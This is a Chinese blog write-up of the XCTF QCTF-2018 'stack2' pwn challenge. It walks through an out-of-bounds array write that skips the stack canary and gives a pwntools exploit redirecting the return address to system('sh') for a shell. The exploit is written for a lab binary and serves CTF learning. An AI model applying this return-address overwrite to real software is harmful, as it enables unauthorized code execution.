---XCTF 4th-QCTF-2018

前言,怎么说呢,这题目还是把我折磨的可以的,我一开始是没有看到后面的直接狙击的,只能说呢。

我的不经意间的粗心,破坏了你许多的温柔

1.气的我直接检查保护:



32位程序,开启了canary保护。

2.ida查看:





首先放的第一幅图片呢,是我一开始以为可以溢出的,也可以看见我旁边标注了一个maybeoverflow。

  • 但是是不可以的,因为首先由于这里的 i 最大上限100,可能有的人头铁就要说了,这里v7可以慢慢溢出去修改i,(和我一样)

    可是这里v13的存储位置是和i有关的,所以不可能让你能一直溢出,后面看到了canary,我又去找了找格式化漏洞,没有找到,最最最离谱的是:

    我居然想着去修改tls字段的canary数值和canary数值(有这个方法,但是这里用不了)

最后看到当我输入3的时候,那里有一个非常明显的定向狙击。

那就很简单了,去开心的写exp,确定 偏移量为74



那就v13[0x74]=???v13[0x75]=???

结果就是失败,为什么呢???

答案是这道题它后面会对栈帧做一定调整,也就是ebp上面一位高地址的地方并不是返回地址,我们这里可以结合着汇编代码看一下



在没有运行结束前,ebp下一位标的返回地址是0xffffd15c,但是我们看看ida里面的代码:







导致跳的返回地址是在ebp的高0x10个字节出,所以我们定向爆破的时候呢,其实狙击的位置是v13[0x84]的地方向上四个字节,所以初步的代码应该是: 不想写了,懒得改了

有人说服务器上没有hackhere那个函数的里面的shell执行器bash,所以要用sh,这里就有个小tips;system('sh')也是可以获得shell的,这样的 话,我们就可以写exp了,我们先去找system@plt表的地址:



我们再去找sh的位置:



这里用第一个,因为第一个字符串参数是有结束符的:

然后就直接写exp吧:(exp默写的别人,因为别人写的确实漂亮):

from pwn import *

p=process('./stack2')

p.recv()
p.sendline('1')
p.recv()
p.sendline('1')
offset=0x84
def leak(offset,value):
p.recvuntil("5. exit\n")
p.sendline('3')
p.recvuntil("which number to change:\n")
p.sendline(str(offset))
p.recvuntil("new number:\n")
p.sendline(str(value)) system = [0x50, 0x84, 0x04, 0x08] sh=[0x87,0x89,0x04,0x08] for i in range(4):
leak(offset+i,system[i]) for i in range(4):
leak(offset+8+i,sh[i]) p.recv() p.sendline('5') p.interactive()

3.这道题目得到的启发:

  • 1.首先呢就是每个地址前面标的地址是就是这个地方最后一位低地址的,也就是我画个图看看

    2.学到了system('sh')是可以直接执行获得shell的

4.还没有学到的东西:

  • 1.栈转移
  • 2.修改stack——fail的got表地址.
  • 3.关于修改got表的题目我一道都没有做过32位还有点准备,64位,没有准备
  • 4.关于直接同时爆破tls字段的和canary段的数值。

我真垃圾,呜呜呜,居然忘记了32位传递参数中间的返回地址!!!



嘿嘿,放上我的龙!!!

Stack2 攻防世界题目分析的更多相关文章

  1. 【攻防世界】 高手进阶区 Recho WP

    0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...

  2. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  3. 攻防世界Web新手解析

    攻防世界入门的题目 view source 禁用右键,F12审查元素 get post hackbar进行post robots 直接访问robots.txt,发现f1ag_1s_h3re.ph文件, ...

  4. 记录下做攻防世界的misc题

    0x00 记录一下,代表自己做过 0x01 flag_universe 看简介是来自2018年的百越杯. 将文件下载下来后,就一个flag_universe.pcapng文件,wireshark打开. ...

  5. RSA脚本环境配置-攻防世界-OldDriver

    [Crypto] 题目链接 [RSA算法解密] 审题分析 首先拿到一个压缩包,解压得到文件enc.txt. 先不用去管其他,第一眼enc马上联想到 RSA解密.接着往下看 [{"c" ...

  6. XCTF攻防世界web进阶练习—mfw

    XCTF攻防世界web进阶练习-mfw题目为mfw,没有任何提示.直接打开题目,是一个网站 大概浏览一下其中的内容,看到其中url变化其实只是get的参数的变化查看它的源码,看到有一个?page=fl ...

  7. 攻防世界 Misc 新手练习区 ext3 bugku Writeup

    攻防世界 Misc 新手练习区 ext3 bugku Writeup 题目介绍 题目考点 WinHex工具的使用 linux磁盘挂载mount命令 Writeup 下载附件拖进winhex分析一下,查 ...

  8. 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup

    攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...

  9. 攻防世界 WEB 高手进阶区 easytornado Writeup

    攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /w ...

随机推荐

  1. 解决FTPClient下载网络文件线程挂起问题

    今天在windows上调试FTP下载文件时,出险线程假死,代码如下: if (inputStream != null) { byte[] data = null; ByteArrayOutputStr ...

  2. C# Dapper基本三层架构使用 (一、架构关系)

    Dapper是一款轻量级ORM工具.如果你在小的项目中,使用Entity Framework.NHibernate 来处理大数据访问及关系映射,未免有点杀鸡用牛刀.你又觉得ORM省时省力,这时Dapp ...

  3. 富文本编辑器-SpringBoot

    目录 简介 Editor.md 基础工程搭建 数据库设计 基础项目搭建 文章编辑整合(重点) 图片上传问题 表情包问题 文章展示 简介 项目地址:https://gitee.com/zwtgit/ri ...

  4. 消息队列之 kafka 集群搭建

    我们先弄清楚kafka集群环境首先需要些什么 JDK 10+ Zookeeper Kafka 2.x 首先准备三台虚拟机 centos7 ,更改IP地址为静态地址分别为,29.30.31 cd /et ...

  5. PHP设计模式之访问者模式

    访问者,就像我们去别人家访问,或者别人来我们家看望我们一样.我们每个人都像是一个实体,而来访的人都会一一的和我们打招呼.毕竟,我们中华民族是非常讲究礼数和好客的民族.访问者是GoF23个设计模式中最复 ...

  6. Jmeter扩展组件开发(1) - 创建maven工程

    前言 没有安装IDEA的伙伴先安装.url:https://www.cnblogs.com/gltou/p/14956060.html 扩展开发实现的两种方式 继承AbstracJavaSampler ...

  7. Centos8.X 搭建Grafana+Jmeter+Influxdb 性能实时监控平台

    前言 本篇文章引用了小菠萝测试笔记,大部分内容非原创,基于自身实操过程中,完善了部分. 本篇随笔是在Linux上搭建的,后面会补充在docker以及k8s上如何部署安装 工具介绍 工具 介绍 Jmet ...

  8. 华为云计算IE面试笔记-FusionCompute上的虚拟机A和虚拟机B不能正常通信,请描述可能的故障点和排除方法(分析虚拟机A和虚拟机B不通)

    *快速定位故障点:(考到) ARP:同一二层内可以通过ARP -a命令查询到要访问的主机IP(ARP表项中记录了同一二层中的IP和MAC的对应关系),若查询不到,说明二层出现问题(Vlan 间不通)或 ...

  9. 写SQL的套路

    定义问题 转化问题 如要解决的问题是:查出每门课程成绩都大于80分学生的姓名,可以转化为:只要学生最小分数的课程大于80分,就是所有课程成绩都大于80分. 查询同名同姓学生名单并统计同名人数--> ...

  10. Redis-Cluster分片扩容

    redis分片分片场景在业务量相对较小的时候,可以将所有数据都存到一台机器上,只使用redis单机模式,不存在分片问题.如果业务的数据量超过一台物理机器的内存大小时,则会面对扩展问题,需要多台机器去存 ...